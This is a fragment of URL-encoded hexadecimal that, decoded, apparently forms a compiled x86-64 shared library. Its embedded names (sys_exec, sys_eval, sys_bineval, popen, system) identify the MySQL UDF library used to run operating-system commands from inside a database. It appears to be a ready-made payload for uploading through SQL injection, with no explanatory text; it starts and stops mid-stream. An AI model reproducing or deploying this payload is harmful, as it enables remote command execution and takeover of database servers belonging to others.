3%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%34%30%30%30%30%30%30%30%30%30%30%30%30%30%30%35%31%65%35%37%34%36%34%30%36%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%32%35%30%30%30%30%30%30%32%62%30%30%30%30%30%30%31%35%30%30%30%30%30%30%30%35%30%30%30%30%30%30%32%38%30%30%30%30%30%30%31%65%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%36%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%63%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%37%30%30%30%30%30%30%32%61%30%30%30%30%30%30%30%39%30%30%30%30%30%30%32%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%32%37%30%30%30%30%30%30%30%62%30%30%30%30%30%30%32%32%30%30%30%30%30%30%31%38%30%30%30%30%30%30%32%34%30%30%30%30%30%30%30%65%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%34%30%30%30%30%30%30%31%64%30%30%30%30%30%30%31%36%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%33%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%32%30%30%30%30%30%30%32%33%30%30%30%30%30%30%31%30%30%30%30%30%30%30%32%35%30%30%30%30%30%30%31%61%30%30%30%30%30%30%30%66%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%62%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%33%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%32%39%30%30%30%30%30%30%31%34%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%39%30%30%30%30%30%30%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%61%30%30%30%30%30%30%31%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%64%30%30%30%30%30%30%32%36%30%30%30%30%30%30%31%37%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%66%30%30%30%30%30%30%31%63%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%31%30%30%30%30%30%30%31%34%30%30%30%30%30%30%30%32%30%30%30%30%30%30%30%37%30%30%30%30%30%30%38%30%30%38%30%33%34%39%39%31%31%39%63%34%63%39%33%64%61%34%34%30%30%33%39%38%30%34%36%38%38%33%31%34%30%30%30%30%30%30%31%36%30%30%30%30%30%30%31%37%30%30%30%30%30%30%31%39%30%30%30%30%30%30%31%62%30%30%30%30%30%30%31%64%30%30%30%30%30%30%32%30%30%30%30%30%30%30%32%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%32%33%30%30%30%30%30%30%30%30%30%30%30%30%30%30%32%34%30%30%30%30%30%30%32%35%30%30%30%30%30%30%32%37%30%30%30%30%30%30%32%39%30%30%30%30%30%30%32%61%30%30%30%30%30%30%30%30%30%30%30%30%30%30%63%65%32%63%63%30%62%61%36%37%33%63%37%36%39%30%65%62%64%33%65%66%30%65%37%38%37%32%32%37%38%38%62%39%38%64%66%31%30%65%64%38%37%31%35%38%31%63%63%31%65%32%66%37%64%65%61%38%36%38%62%65%31%32%62%62%65%33%39%32%37%63%37%65%38%62%39%32%63%64%31%65%37%30%36%36%61%39%63%33%66%39%62%66%62%61%37%34%35%62%62%30%37%33%33%37%31%39%37%34%65%63%34%33%34%35%64%35%65%63%63%35%61%36%32%63%31%63%63%33%31%33%38%61%66%66%33%36%61%63%36%38%61%65%33%62%39%66%64%34%61%30%61%63%37%33%64%31%63%35%32%35%36%38%31%62%33%32%30%62%35%39%31%31%66%65%61%62%35%66%62%65%31%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%33%30%30%30%39%30%30%61%30%30%62%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%30%30%30%30%30%30%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%32%35%30%30%30%30%30%30%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%65%30%30%30%30%30%30%30%31%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%64%65%30%31%30%30%30%30%30%30%30%30%30%30%30%30%37%39%30%31%30%30%30%30%31%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%37%37%30%30%30%30%30%30%30%30%30%30%30%30%30%30%62%61%30%30%30%30%30%30%31%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%33%35%30%34%30%30%30%30%30%30%30%30%30%30%30%30%66%35%30%30%30%30%30%30%31%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%63%32%30%31%30%30%30%30%30%30%30%30%30%30%30%30%39%65%30%31%30%30%30%30%31%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%64%39%30%30%30%30%30%30%30%30%30%30%30%30%30%30%66%62%30%30%30%30%30%30%31%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%35%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%36%30%30%30%30%30%30%32%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%66%65%30%30%30%30%30%30%30%30%30%30%30%30%30%30%63%66%30%30%30%30%30%30%31%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%61%64%30%30%30%30%30%30%30%30%30%30%30%30%30%30%38%38%30%31%30%30%30%30%31%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%61%62%30%31%30%30%30%30%31%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%32%35%30%31%30%30%30%30%30%30%30%30%30%30%30%30%31%30%30%31%30%30%30%30%31%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%64%63%30%30%30%30%30%30%30%30%30%30%30%30%30%30%63%37%30%30%30%30%30%30%31%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%63%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%62%35%30%30%30%30%30%30%31%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%63%63%30%32%30%30%30%30%30%30%30%30%30%30%30%30%65%64%30%30%30%30%30%30%31%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%65%38%30%32%30%30%30%30%30%30%30%30%30%30%30%30%65%37%30%30%30%30%30%30%31%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%39%62%30%30%30%30%30%30%30%30%30%30%30%30%30%30%63%32%30%30%30%30%30%30%31%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%32%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%38%30%30%31%30%30%30%30%31%32%30%30%30%62%30%30%37%61%31%30%30%30%30%30%30%30%30%30%30%30%30%30%36%65%30%30%30%30%30%30%30%30%30%30%30%30%30%30%37%35%30%30%30%30%30%30%31%32%30%30%30%62%30%30%61%37%30%64%30%30%30%30%30%30%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%31%32%30%30%30%63%30%30%37%38%31%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%33%66%30%31%30%30%30%30%31%32%30%30%30%62%30%30%31%61%31%30%30%30%30%30%30%30%30%30%30%30%30%30%32%64%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%66%30%31%30%30%30%30%31%32%30%30%30%39%30%30%61%30%30%62%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%63%33%30%31%30%30%30%30%31%30%30%30%66%31%66%66%38%38%31%37%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%39%36%30%30%30%30%30%30%31%32%30%30%30%62%30%30%61%62%30%64%30%30%30%30%30%30%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%37%30%30%31%30%30%30%30%31%32%30%30%30%62%30%30%36%36%31%30%30%30%30%30%30%30%30%30%30%30%30%30%31%34%30%30%30%30%30%30%30%30%30%30%30%30%30%30%63%66%30%31%30%30%30%30%31%30%30%30%66%31%66%66%39%38%31%37%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%35%36%30%30%30%30%30%30%31%32%30%30%30%62%30%30%61%35%30%64%30%30%30%30%30%30%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%32%30%31%30%30%30%30%31%32%30%30%30%62%30%30%32%65%30%66%30%30%30%30%30%30%30%30%30%30%30%30%32%39%30%30%30%30%30%30%30%30%30%30%30%30%30%30%61%33%30%31%30%30%30%30%31%32%30%30%30%62%30%30%66%37%31%30%30%30%30%30%30%30%30%30%30%30%30%30%34%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%33%39%30%30%30%30%30%30%31%32%30%30%30%62%30%30%61%34%30%64%30%30%30%30%30%30%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%33%32%30%31%30%30%30%30%31%32%30%30%30%62%30%30%65%61%30%66%30%30%30%30%30%30%30%30%30%30%30%30%33%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%62%63%30%31%30%30%30%30%31%30%30%30%66%31%66%66%38%38%31%37%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%36%35%30%30%30%30%30%30%31%32%30%30%30%62%30%30%61%36%30%64%30%30%30%30%30%30%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%32%35%30%31%30%30%30%30%31%32%30%30%30%62%30%30%38%30%30%66%30%30%30%30%30%30%30%30%30%30%30%30%36%61%30%30%30%30%30%30%30%30%30%30%30%30%30%30%38%35%30%30%30%30%30%30%31%32%30%30%30%62%30%30%61%38%30%64%30%30%30%30%30%30%30%30%30%30%30%30%30%33%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%37%30%31%30%30%30%30%31%32%30%30%30%62%30%30%35%37%30%66%30%30%30%30%30%30%30%30%30%30%30%30%32%39%30%30%30%30%30%30%30%30%30%30%30%30%30%30%35%35%30%31%30%30%30%30%31%32%30%30%30%62%30%30%34%37%31%30%30%30%30%30%30%30%30%30%30%30%30%30%31%66%30%30%30%30%30%30%30%30%30%30%30%30%30%30%61%39%30%30%30%30%30%30%31%32%30%30%30%62%30%30%61%63%30%64%30%30%30%30%30%30%30%30%30%30%30%30%39%61%30%30%30%30%30%30%30%30%30%30%30%30%30%30%38%66%30%31%30%30%30%30%31%32%30%30%30%62%30%30%65%38%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%66%30%30%30%30%30%30%30%30%30%30%30%30%30%30%64%37%30%30%30%30%30%30%31%32%30%30%30%62%30%30%34%36%30%65%30%30%30%30%30%30%30%30%30%30%30%30%65%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%35%66%35%66%36%37%36%64%36%66%36%65%35%66%37%33%37%34%36%31%37%32%37%34%35%66%35%66%30%30%35%66%36%36%36%39%36%65%36%39%30%30%35%66%35%66%36%33%37%38%36%31%35%66%36%36%36%39%36%65%36%31%36%63%36%39%37%61%36%35%30%30%35%66%34%61%37%36%35%66%35%32%36%35%36%37%36%39%37%33%37%34%36%35%37%32%34%33%36%63%36%31%37%33%37%33%36%35%37%33%30%30%36%63%36%39%36%32%35%66%36%64%37%39%37%33%37%31%36%63%37%35%36%34%36%36%35%66%37%33%37%39%37%33%35%66%36%39%36%65%36%36%36%66%35%66%36%34%36%35%36%39%36%65%36%39%37%34%30%30%37%33%37%39%37%33%35%66%36%37%36%35%37%34%35%66%36%34%36%35%36%39%36%65%36%39%37%34%30%30%37%33%37%39%37%33%35%66%36%35%37%38%36%35%36%33%35%66%36%34%36%35%36%39%36%65%36%39%37%34%30%30%37%33%37%39%37%33%35%66%36%35%37%36%36%31%36%63%35%66%36%34%36%35%36%39%36%65%36%39%37%34%30%30%37%33%37%39%37%33%35%66%36%32%36%39%36%65%36%35%37%36%36%31%36%63%35%66%36%39%36%65%36%39%37%34%30%30%37%33%37%39%37%33%35%66%36%32%36%39%36%65%36%35%37%36%36%31%36%63%35%66%36%34%36%35%36%39%36%65%36%39%37%34%30%30%37%33%37%39%37%33%35%66%36%32%36%39%36%65%36%35%37%36%36%31%36%63%30%30%36%36%36%66%37%32%36%62%30%30%37%33%37%39%37%33%36%33%36%66%36%65%36%36%30%30%36%64%36%64%36%31%37%30%30%30%37%33%37%34%37%32%36%65%36%33%37%30%37%39%30%30%37%37%36%31%36%39%37%34%37%30%36%39%36%34%30%30%37%33%37%39%37%33%35%66%36%35%37%36%36%31%36%63%30%30%36%64%36%31%36%63%36%63%36%66%36%33%30%30%37%30%36%66%37%30%36%35%36%65%30%30%37%32%36%35%36%31%36%63%36%63%36%66%36%33%30%30%36%36%36%37%36%35%37%34%37%33%30%30%37%30%36%33%36%63%36%66%37%33%36%35%30%30%37%33%37%39%37%33%35%66%36%35%37%36%36%31%36%63%35%66%36%39%36%65%36%39%37%34%30%30%37%33%37%34%37%32%36%33%37%30%37%39%30%30%37%33%37%39%37%33%35%66%36%35%37%38%36%35%36%33%35%66%36%39%36%65%36%39%37%34%30%30%37%33%37%39%37%33%35%66%37%33%36%35%37%34%35%66%36%39%36%65%36%39%37%34%30%30%37%33%37%39%37%33%35%66%36%37%36%35%37%34%35%66%36%39%36%65%36%39%37%34%30%30%36%63%36%39%36%32%35%66%36%64%37%39%37%33%37%31%36%63%37%35%36%34%36%36%35%66%37%33%37%39%37%33%35%66%36%39%36%65%36%36%36%66%30%30%36%63%36%39%36%32%35%66%36%64%37%39%37%33%37%31%36%63%37%35%36%34%36%36%35%66%37%33%37%39%37%33%35%66%36%39%36%65%36%36%36%66%35%66%36%39%36%65%36%39%37%34%30%30%37%33%37%39%37%33%35%66%36%35%37%38%36%35%36%33%30%30%37%33%37%39%37%33%37%34%36%35%36%64%30%30%37%33%37%39%37%33%35%66%37%33%36%35%37%34%30%30%37%33%36%35%37%34%36%35%36%65%37%36%30%30%37%33%37%39%37%33%35%66%37%33%36%35%37%34%35%66%36%34%36%35%36%39%36%65%36%39%37%34%30%30%36%36%37%32%36%35%36%35%30%30%37%33%37%39%37%33%35%66%36%37%36%35%37%34%30%30%36%37%36%35%37%34%36%35%36%65%37%36%30%30%36%63%36%39%36%32%36%33%32%65%37%33%36%66%32%65%33%36%30%30%35%66%36%35%36%34%36%31%37%34%36%31%30%30%35%66%35%66%36%32%37%33%37%33%35%66%37%33%37%34%36%31%37%32%37%34%30%30%35%66%36%35%36%65%36%34%30%30%34%37%34%63%34%39%34%32%34%33%35%66%33%32%32%65%33%32%32%65%33%35%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%32%30%30%30%32%30%30%30%32%30%30%30%32%30%30%30%32%30%30%30%32%30%30%30%32%30%30%30%32%30%30%30%32%30%30%30%32%30%30%30%32%30%30%30%32%30%30%30%32%30%30%30%32%30%30%30%32%30%30%30%32%30%30%30%31%30%30%30%31%30%30%30%31%30%30%30%31%30%30%30%31%30%30%30%31%30%30%30%31%30%30%30%31%30%30%30%31%30%30%30%31%30%30%30%31%30%30%30%31%30%30%30%31%30%30%30%31%30%30%30%31%30%30%30%31%30%30%30%31%30%30%30%31%30%30%30%31%30%30%30%31%30%30%30%31%30%30%30%31%30%30%30%31%30%30%30%30%30%30%30%31%30%30%30%31%30%30%62%32%30%31%30%30%30%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%37%35%31%61%36%39%30%39%30%30%30%30%30%32%30%30%64%34%30%31%30%30%30%30%30%30%30%30%30%30%30%30%38%30%31%37%32%30%30%30%30%30%30%30%30%30%30%30%30%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%38%30%31%37%32%30%30%30%30%30%30%30%30%30%30%30%64%30%31%36%32%30%30%30%30%30%30%30%30%30%30%30%30%36%30%30%30%30%30%30%30%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%64%38%31%36%32%30%30%30%30%30%30%30%30%30%30%30%30%36%30%30%30%30%30%30%30%33%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%65%30%31%36%32%30%30%30%30%30%30%30%30%30%30%30%30%36%30%30%30%30%30%30%30%61%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%37%32%30%30%30%30%30%30%30%30%30%30%30%30%37%30%30%30%30%30%30%30%34%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%38%31%37%32%30%30%30%30%30%30%30%30%30%30%30%30%37%30%30%30%30%30%30%30%35%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%30%31%37%32%30%30%30%30%30%30%30%30%30%30%30%30%37%30%30%30%30%30%30%30%36%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%38%31%37%32%30%30%30%30%30%30%30%30%30%30%30%30%37%30%30%30%30%30%30%30%37%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%32%30%31%37%32%30%30%30%30%30%30%30%30%30%30%30%30%37%30%30%30%30%30%30%30%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%32%38%31%37%32%30%30%30%30%30%30%30%30%30%30%30%30%37%30%30%30%30%30%30%30%39%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%33%30%31%37%32%30%30%30%30%30%30%30%30%30%30%30%30%37%30%30%30%30%30%30%30%61%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%33%38%31%37%32%30%30%30%30%30%30%30%30%30%30%30%30%37%30%30%30%30%30%30%30%62%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%34%30%31%37%32%30%30%30%30%30%30%30%30%30%30%30%30%37%30%30%30%30%30%30%30%63%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%34%38%31%37%32%30%30%30%30%30%30%30%30%30%30%30%30%37%30%30%30%30%30%30%30%64%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%35%30%31%37%32%30%30%30%30%30%30%30%30%30%30%30%30%37%30%30%30%30%30%30%30%65%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%35%38%31%37%32%30%30%30%30%30%30%30%30%30%30%30%30%37%30%30%30%30%30%30%30%66%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%36%30%31%37%32%30%30%30%30%30%30%30%30%30%30%30%30%37%30%30%30%30%30%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%36%38%31%37%32%30%30%30%30%30%30%30%30%30%30%30%30%37%30%30%30%30%30%30%31%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%37%30%31%37%32%30%30%30%30%30%30%30%30%30%30%30%30%37%30%30%30%30%30%30%31%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%37%38%31%37%32%30%30%30%30%30%30%30%30%30%30%30%30%37%30%30%30%30%30%30%31%33%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%34%38%38%33%65%63%30%38%65%38%32%37%30%31%30%30%30%30%65%38%63%32%30%31%30%30%30%30%65%38%38%64%30%35%30%30%30%30%34%38%38%33%63%34%30%38%63%33%66%66%33%35%33%32%30%62%32%30%30%30%66%66%32%35%33%34%30%62%32%30%30%30%30%66%31%66%34%30%30%30%66%66%32%35%33%32%30%62%32%30%30%30%36%38%30%30%30%30%30%30%30%30%65%39%65%30%66%66%66%66%66%66%66%66%32%35%32%61%30%62%32%30%30%30%36%38%30%31%30%30%30%30%30%30%65%39%64%30%66%66%66%66%66%66%66%66%32%35%32%32%30%62%32%30%30%30%36%38%30%32%30%30%30%30%30%30%65%39%63%30%66%66%66%66%66%66%66%66%32%35%31%61%30%62%32%30%30%30%36%38%30%33%30%30%30%30%30%30%65%39%62%30%66%66%66%66%66%66%66%66%32%35%31%32%30%62%32%30%30%30%36%38%30%34%30%30%30%30%30%30%65%39%61%30%66%66%66%66%66%66%66%66%32%35%30%61%30%62%32%30%30%30%36%38%30%35%30%30%30%30%30%30%65%39%39%30%66%66%66%66%66%66%66%66%32%35%30%32%30%62%32%30%30%30%36%38%30%36%30%30%30%30%30%30%65%39%38%30%66%66%66%66%66%66%66%66%32%35%66%61%30%61%32%30%30%30%36%38%30%37%30%30%30%30%30%30%65%39%37%30%66%66%66%66%66%66%66%66%32%35%66%32%30%61%32%30%30%30%36%38%30%38%30%30%30%30%30%30%65%39%36%30%66%66%66%66%66%66%66%66%32%35%65%61%30%61%32%30%30%30%36%38%30%39%30%30%30%30%30%30%65%39%35%30%66%66%66%66%66%66%66%66%32%35%65%32%30%61%32%30%30%30%36%38%30%61%30%30%30%30%30%30%65%39%34%30%66%66%66%66%66%66%66%66%32%35%64%61%30%61%32%30%30%30%36%38%30%62%30%30%30%30%30%30%65%39%33%30%66%66%66%66%66%66%66%66%32%35%64%32%30%61%32%30%30%30%36%38%30%63%30%30%30%30%30%30%65%39%32%30%66%66%66%66%66%66%66%66%32%35%63%61%30%61%32%30%30%30%36%38%30%64%30%30%30%30%30%30%65%39%31%30%66%66%66%66%66%66%66%66%32%35%63%32%30%61%32%30%30%30%36%38%30%65%30%30%30%30%30%30%65%39%30%30%66%66%66%66%66%66%66%66%32%35%62%61%30%61%32%30%30%30%36%38%30%66%30%30%30%30%30%30%65%39%66%30%66%65%66%66%66%66%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%34%38%38%33%65%63%30%38%34%38%38%62%30%35%66%35%30%39%32%30%30%30%34%38%38%35%63%30%37%34%30%32%66%66%64%30%34%38%38%33%63%34%30%38%63%33%39%30%39%30%39%30%39%30%39%30%39%30%39%30%39%30%39%30%35%35%38%30%33%64%39%30%30%61%32%30%30%30%30%30%34%38%38%39%65%35%34%31%35%34%35%33%37%35%36%32%34%38%38%33%33%64%64%38%30%39%32%30%30%30%30%30%37%34%30%63%34%38%38%62%33%64%36%66%30%61%32%30%30%30%65%38%31%32%66%66%66%66%66%66%34%38%38%64%30%35%31%33%30%38%32%30%30%30%34%63%38%64%32%35%30%34%30%38%32%30%30%30%34%38%38%62%31%35%36%35%30%61%32%30%30%30%34%63%32%39%65%30%34%38%63%31%66%38%30%33%34%38%38%64%35%38%66%66%34%38%33%39%64%61%37%33%32%30%30%66%31%66%34%34%30%30%30%30%34%38%38%64%34%32%30%31%34%38%38%39%30%35%34%35%30%61%32%30%30%30%34%31%66%66%31%34%63%34%34%38%38%62%31%35%33%61%30%61%32%30%30%30%34%38%33%39%64%61%37%32%65%35%63%36%30%35%32%36%30%61%32%30%30%30%30%31%35%62%34%31%35%63%63%39%63%33%36%36%30%66%31%66%38%34%30%30%30%30%30%30%30%30%30%30%35%35%34%38%38%33%33%64%62%66%30%37%32%30%30%30%30%30%34%38%38%39%65%35%37%34%32%32%34%38%38%62%30%35%35%33%30%39%32%30%30%30%34%38%38%35%63%30%37%34%31%36%34%38%38%64%33%64%61%37%30%37%32%30%30%30%34%39%38%39%63%33%63%39%34%31%66%66%65%33%30%66%31%66%38%34%30%30%30%30%30%30%30%30%30%30%63%39%63%33%39%30%39%30%63%33%63%33%63%33%63%33%33%31%63%30%63%33%63%33%34%31%35%34%34%38%38%33%63%39%66%66%34%39%38%39%66%34%35%35%35%33%34%38%38%33%65%63%31%30%34%38%38%62%34%36%31%30%34%38%38%62%33%38%33%31%63%30%66%32%61%65%34%38%66%37%64%31%34%38%38%64%36%39%66%66%65%38%62%36%66%65%66%66%66%66%38%33%66%38%30%30%38%39%63%37%37%63%36%31%37%35%34%66%62%66%31%65%30%30%30%30%30%30%65%38%30%33%66%65%66%66%66%66%34%38%38%64%37%30%66%66%34%35%33%31%63%39%34%35%33%31%63%30%33%31%66%66%62%39%32%31%30%30%30%30%30%30%62%61%30%37%30%30%30%30%30%30%34%38%38%64%30%34%32%65%34%38%66%37%64%36%34%38%32%31%63%36%65%38%61%65%66%65%66%66%66%66%34%38%38%33%66%38%66%66%34%38%38%39%63%33%37%34%32%37%34%39%38%62%34%34%32%34%31%30%34%38%38%39%65%61%34%38%38%39%64%66%34%38%38%62%33%30%65%38%35%32%66%65%66%66%66%66%66%66%64%33%65%62%30%63%62%61%30%31%30%30%30%30%30%30%33%31%66%36%65%38%30%32%66%65%66%66%66%66%33%31%63%30%65%62%30%35%62%38%30%31%30%30%30%30%30%30%35%61%35%39%35%62%35%64%34%31%35%63%63%33%34%31%35%37%62%66%30%30%30%34%30%30%30%30%34%31%35%36%34%31%35%35%34%35%33%31%65%64%34%31%35%34%35%35%35%33%34%38%38%39%66%33%34%38%38%33%65%63%31%38%34%38%38%39%34%63%32%34%31%30%34%63%38%39%34%34%32%34%30%38%65%38%35%61%66%64%66%66%66%66%62%66%30%31%30%30%30%30%30%30%34%39%38%39%63%36%65%38%34%64%66%64%66%66%66%66%63%36%30%30%30%30%34%38%38%39%63%35%34%38%38%62%34%33%31%30%34%38%38%64%33%35%36%61%30%33%30%30%30%30%34%38%38%62%33%38%65%38%31%34%66%65%66%66%66%66%34%39%38%39%63%37%65%62%33%37%34%63%38%39%66%37%33%31%63%30%34%38%38%33%63%39%66%66%66%32%61%65%34%38%38%39%65%66%34%38%66%37%64%31%34%38%38%64%35%39%66%66%34%64%38%64%36%34%31%64%30%30%34%63%38%39%65%36%65%38%64%64%66%64%66%66%66%66%34%61%38%64%33%63%32%38%34%38%38%39%64%61%34%63%38%39%66%36%34%64%38%39%65%35%34%38%38%39%63%35%65%38%61%38%66%64%66%66%66%66%34%63%38%39%66%61%62%65%30%38%30%30%30%30%30%30%34%63%38%39%66%37%65%38%31%38%66%64%66%66%66%66%34%38%38%35%63%30%37%35%62%34%34%63%38%39%66%66%65%38%32%62%66%64%66%66%66%66%38%30%37%64%30%30%30%30%37%35%30%61%34%38%38%62%34%34%32%34%30%38%63%36%30%30%30%31%65%62%31%66%34%32%63%36%34%34%32%64%66%66%30%30%33%31%63%30%34%38%38%33%63%39%66%66%34%38%38%39%65%66%66%32%61%65%34%38%38%62%34%34%32%34%31%30%34%38%66%37%64%31%34%38%66%66%63%39%34%38%38%39%30%38%34%38%38%33%63%34%31%38%34%38%38%39%65%38%35%62%35%64%34%31%35%63%34%31%35%64%34%31%35%65%34%31%35%66%63%33%34%38%38%33%65%63%30%38%38%33%33%65%30%31%34%38%38%39%64%37%37%35%30%62%34%38%38%62%34%36%30%38%33%31%64%32%38%33%33%38%30%30%37%34%30%65%34%38%38%64%33%35%33%61%30%32%30%30%30%30%65%38%31%37%66%64%66%66%66%66%62%32%30%31%38%38%64%30%35%65%63%33%34%38%38%33%65%63%30%38%38%33%33%65%30%31%34%38%38%39%64%37%37%35%30%62%34%38%38%62%34%36%30%38%33%31%64%32%38%33%33%38%30%30%37%34%30%65%34%38%38%64%33%35%31%31%30%32%30%30%30%30%65%38%65%65%66%63%66%66%66%66%62%32%30%31%38%38%64%30%35%66%63%33%35%35%34%38%38%39%66%64%35%33%34%38%38%39%64%33%34%38%38%33%65%63%30%38%38%33%33%65%30%32%37%34%30%39%34%38%38%64%33%35%31%39%30%32%30%30%30%30%65%62%33%66%34%38%38%62%34%36%30%38%38%33%33%38%30%30%37%34%30%39%34%38%38%64%33%35%32%36%30%32%30%30%30%30%65%62%32%64%63%37%34%30%30%34%30%30%30%30%30%30%30%30%34%38%38%62%34%36%31%